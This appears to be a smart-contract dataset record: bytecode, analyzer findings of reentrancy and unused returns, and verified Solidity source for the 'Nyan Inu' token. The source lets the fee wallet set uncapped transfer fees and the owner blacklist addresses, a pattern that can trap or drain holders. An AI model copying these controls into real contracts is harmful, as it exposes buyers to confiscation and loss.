031633146104615760405162461bcd60e51b815260040161045890611949565b60405180910390fd5b66470de4df8200008111156104765760108190555b50565b6000610486848484610c66565b6104d884336104d385604051806060016040528060288152602001611ae0602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610f9b565b610b42565b5060019392505050565b6000546001600160a01b0316331461050c5760405162461bcd60e51b815260040161045890611949565b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105575760405162461bcd60e51b815260040161045890611949565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b0316331461059f5760405162461bcd60e51b815260040161045890611949565b4761047681610fd5565b6001600160a01b0381166000908152600260205260408120546104289061100f565b6000546001600160a01b031633146105f55760405162461bcd60e51b815260040161045890611949565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106695760405162461bcd60e51b815260040161045890611949565b600f54600160a01b900460ff161561068057600080fd5b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556040805163c45a015560e01b81529051829163c45a0155916004808301926020929190829003018186803b1580156106e057600080fd5b505afa1580156106f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061071891906116e4565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561076057600080fd5b505afa158015610774573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061079891906116e4565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156107e057600080fd5b505af11580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061081891906116e4565b600f80546001600160a01b0319166001600160a01b039290921691909117905550565b6000610424338484610c66565b6000546001600160a01b031633146108725760405162461bcd60e51b815260040161045890611949565b60005b81518110156108da5760016006600084848151811061089657610896611a90565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108d281611a5f565b915050610875565b5050565b6000546001600160a01b031633146109085760405162461bcd60e51b815260040161045890611949565b6000610913306105a9565b905061047681611093565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161045890611949565b600e546109689030906001600160a01b0316670de0b6b3a7640000610b42565b600e546001600160a01b031663f305d7194730610984816105a9565b6000806109996000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109fc57600080fd5b505af1158015610a10573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a3591906118c6565b5050600f805466470de4df82000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610aac57600080fd5b505af1158015610ac0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104769190611890565b6000546001600160a01b03163314610b0e5760405162461bcd60e51b815260040161045890611949565b600b55565b6000546001600160a01b03163314610b3d5760405162461bcd60e51b815260040161045890611949565b600c55565b6001600160a01b038316610ba45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610458565b6001600160a01b038216610c055760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610458565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cca5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610458565b6001600160a01b038216610d2c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610458565b60008111610d8e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610458565b6001600160a01b03831660009081526006602052604090205460ff1615610db457600080fd5b6001600160a01b03831660009081526005602052604090205460ff16158015610df657506001600160a01b03821660009081526005602052604090205460ff16155b15610f8b576000600955600c54600a55600f546001600160a01b038481169116148015610e315750600e546001600160a01b03838116911614155b8015610e5657506001600160a01b03821660009081526005602052604090205460ff16155b8015610e6b5750600f54600160b81b900460ff165b15610e98576000610e7b836105a9565b601054909150610e8b838361121c565b1115610e9657600080fd5b505b600f546001600160a01b038381169116148015610ec35750600e546001600160a01b03848116911614155b8015610ee857506001600160a01b03831660009081526005602052604090205460ff16155b15610ef9576000600955600b54600a555b6000610f04306105a9565b600f54909150600160a81b900460ff16158015610f2f5750600f546001600160a01b03858116911614155b8015610f445750600f54600160b01b900460ff165b15610f89576000610f56600583611a07565b9050610f628183611a48565b9150610f6d8161127b565b610f7682611093565b478015610f8657610f8647610fd5565b50505b505b610f968383836112b1565b505050565b60008184841115610fbf5760405162461bcd60e51b815260040161045891906118f4565b506000610fcc8486611a48565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108da573d6000803e3d6000fd5b60006007548211156110765760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610458565b60006110806112bc565b905061108c83826112df565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110db576110db611a90565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561112f57600080fd5b505afa158015611143573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116791906116e4565b8160018151811061117a5761117a611a90565b6001600160a01b039283166020918202929092010152600e546111a09130911684610b42565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d990859060009086903090429060040161197e565b600060405180830381600087803b1580156111f357600080fd5b505af1158015611207573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b60008061122983856119ef565b90508381101561108c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610458565b600f805460ff60a81b1916600160a81b17905580156112a1576112a13061dead83610c66565b50600f805460ff60a81b19169055565b610f96838383611321565b60008060006112c9611418565b90925090506112d882826112df565b9250505090565b600061108c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611458565b60008060008060008061133387611486565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061136590876114e3565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611394908661121c565b6001600160a01b0389166000908152600260205260409020556113b681611525565b6113c0848361156f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161140591815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a764000061143382826112df565b82101561144f57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114795760405162461bcd60e51b815260040161045891906118f4565b506000610fcc8486611a07565b60008060008060008060008060006114a38a600954600a54611593565b92509250925060006114b36112bc565b905060008060006114c68e8787876115e8565b919e509c509a509598509396509194505050505091939550919395565b600061108c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f9b565b600061152f6112bc565b9050600061153d8383611638565b3060009081526002602052604090205490915061155a908261121c565b30600090815260026020526040902055505050565b60075461157c90836114e3565b60075560085461158c908261121c565b6008555050565b60008080806115ad60646115a78989611638565b906112df565b905060006115c060646115a78a89611638565b905060006115d8826115d28b866114e3565b906114e3565b9992985090965090945050505050565b60008080806115f78886611638565b905060006116058887611638565b905060006116138888611638565b90506000611625826115d286866114e3565b939b939a50919850919650505050505050565b60008261164757506000610428565b60006116538385611a29565b9050826116608583611a07565b1461108c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610458565b80356116c281611abc565b919050565b6000602082840312156116d957600080fd5b813561108c81611abc565b6000602082840312156116f657600080fd5b815161108c81611abc565b6000806040838503121561171457600080fd5b823561171f81611abc565b9150602083013561172f81611abc565b809150509250929050565b60008060006060848603121561174f57600080fd5b833561175a81611abc565b9250602084013561176a81611abc565b929592945050506040919091013590565b6000806040838503121561178e57600080fd5b823561179981611abc565b946020939093013593505050565b600060208083850312156117ba57600080fd5b823567ffffffffffffffff808211156117d257600080fd5b818501915085601f8301126117e657600080fd5b8135818111156117f8576117f8611aa6565b8060051b604051601f19603f8301168101818110858211171561181d5761181d611aa6565b604052828152858101935084860182860187018a101561183c57600080fd5b600095505b8386101561186657611852816116b7565b855260019590950194938601938601611841565b5098975050505050505050565b60006020828403121561188557600080fd5b813561108c81611ad1565b6000602082840312156118a257600080fd5b815161108c81611ad1565b6000602082840312156118bf57600080fd5b5035919050565b6000806000606084860312156118db57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561192157858101830151858201604001528201611905565b81811115611933576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119ce5784516001600160a01b0316835293830193918301916001016119a9565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611a0257611a02611a7a565b500190565b600082611a2457634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611a4357611a43611a7a565b500290565b600082821015611a5a57611a5a611a7a565b500390565b6000600019821415611a7357611a73611a7a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461047657600080fd5b801515811461047657600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220483062f8de2c7d6fef6040991f81deb9cb9dbd23879809f313125dd4f28190b264736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
6,983
0x7F78972610ab4CED9C4c6Db494Be19333eAe8297
/** *Submitted for verification at Etherscan.io on 2021-10-29 */ /** * **/ //SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Nyan is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1 = 5; uint256 private _feeAddr2 = 5; address payable private _feeAddrWallet1 = payable(0xC654A505E3d38932cAb03CCc14418044A078F8A4); address payable private _feeAddrWallet2 = payable(0xC654A505E3d38932cAb03CCc14418044A078F8A4); string private constant _name = "Nyan Inu"; string private constant _symbol = "nyanINU"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[_feeAddrWallet2] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setFeeAmountOne(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr1 = fee; } function setFeeAmountTwo(uint256 fee) external { require(_msgSender() == _feeAddrWallet2, "Unauthorized"); _feeAddr2 = fee; } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 50000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _isBuy(address _sender) private view returns (bool) { return _sender == uniswapV2Pair; } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610398578063c3c8cd80146103c1578063c9567bf9146103d8578063cfe81ba0146103ef578063dd62ed3e146104185761011f565b8063715018a6146102c5578063842b7c08146102dc5780638da5cb5b1461030557806395d89b4114610330578063a9059cbb1461035b5761011f565b8063273123b7116100e7578063273123b7146101f4578063313ce5671461021d5780635932ead1146102485780636fc3eaec1461027157806370a08231146102885761011f565b806306fdde0314610124578063095ea7b31461014f57806318160ddd1461018c57806323b872dd146101b75761011f565b3661011f57005b600080fd5b34801561013057600080fd5b50610139610455565b6040516101469190612bb9565b60405180910390f35b34801561015b57600080fd5b50610176600480360381019061017191906126ff565b610492565b6040516101839190612b9e565b60405180910390f35b34801561019857600080fd5b506101a16104b0565b6040516101ae9190612d3b565b60405180910390f35b3480156101c357600080fd5b506101de60048036038101906101d991906126b0565b6104c4565b6040516101eb9190612b9e565b60405180910390f35b34801561020057600080fd5b5061021b60048036038101906102169190612622565b61059d565b005b34801561022957600080fd5b5061023261068d565b60405161023f9190612db0565b60405180910390f35b34801561025457600080fd5b5061026f600480360381019061026a919061277c565b610696565b005b34801561027d57600080fd5b50610286610748565b005b34801561029457600080fd5b506102af60048036038101906102aa9190612622565b6107ba565b6040516102bc9190612d3b565b60405180910390f35b3480156102d157600080fd5b506102da61080b565b005b3480156102e857600080fd5b5061030360048036038101906102fe91906127ce565b61095e565b005b34801561031157600080fd5b5061031a6109ff565b6040516103279190612ad0565b60405180910390f35b34801561033c57600080fd5b50610345610a28565b6040516103529190612bb9565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d91906126ff565b610a65565b60405161038f9190612b9e565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba919061273b565b610a83565b005b3480156103cd57600080fd5b506103d6610bd3565b005b3480156103e457600080fd5b506103ed610c4d565b005b3480156103fb57600080fd5b50610416600480360381019061041191906127ce565b6111af565b005b34801561042457600080fd5b5061043f600480360381019061043a9190612674565b611250565b60405161044c9190612d3b565b60405180910390f35b60606040518060400160405280600881526020017f4e79616e20496e75000000000000000000000000000000000000000000000000815250905090565b60006104a661049f6112d7565b84846112df565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b60006104d18484846114aa565b610592846104dd6112d7565b61058d8560405180606001604052806028815260200161344b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105436112d7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119889092919063ffffffff16565b6112df565b600190509392505050565b6105a56112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062990612c9b565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61069e6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290612c9b565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107896112d7565b73ffffffffffffffffffffffffffffffffffffffff16146107a957600080fd5b60004790506107b7816119ec565b50565b6000610804600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ae7565b9050919050565b6108136112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089790612c9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661099f6112d7565b73ffffffffffffffffffffffffffffffffffffffff16146109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90612bfb565b60405180910390fd5b80600a8190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f6e79616e494e5500000000000000000000000000000000000000000000000000815250905090565b6000610a79610a726112d7565b84846114aa565b6001905092915050565b610a8b6112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0f90612c9b565b60405180910390fd5b60005b8151811015610bcf57600160066000848481518110610b63577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bc790613051565b915050610b1b565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c146112d7565b73ffffffffffffffffffffffffffffffffffffffff1614610c3457600080fd5b6000610c3f306107ba565b9050610c4a81611b55565b50565b610c556112d7565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ce2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd990612c9b565b60405180910390fd5b600f60149054906101000a900460ff1615610d32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2990612d1b565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dc530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166b033b2e3c9fd0803ce80000006112df565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e0b57600080fd5b505afa158015610e1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e43919061264b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610ea557600080fd5b505afa158015610eb9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610edd919061264b565b6040518363ffffffff1660e01b8152600401610efa929190612aeb565b602060405180830381600087803b158015610f1457600080fd5b505af1158015610f28573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f4c919061264b565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fd5306107ba565b600080610fe06109ff565b426040518863ffffffff1660e01b815260040161100296959493929190612b3d565b6060604051808303818588803b15801561101b57600080fd5b505af115801561102f573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061105491906127f7565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506a295be96e640669720000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611159929190612b14565b602060405180830381600087803b15801561117357600080fd5b505af1158015611187573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111ab91906127a5565b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111f06112d7565b73ffffffffffffffffffffffffffffffffffffffff1614611246576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123d90612bfb565b60405180910390fd5b80600b8190555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561134f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134690612cfb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612c3b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516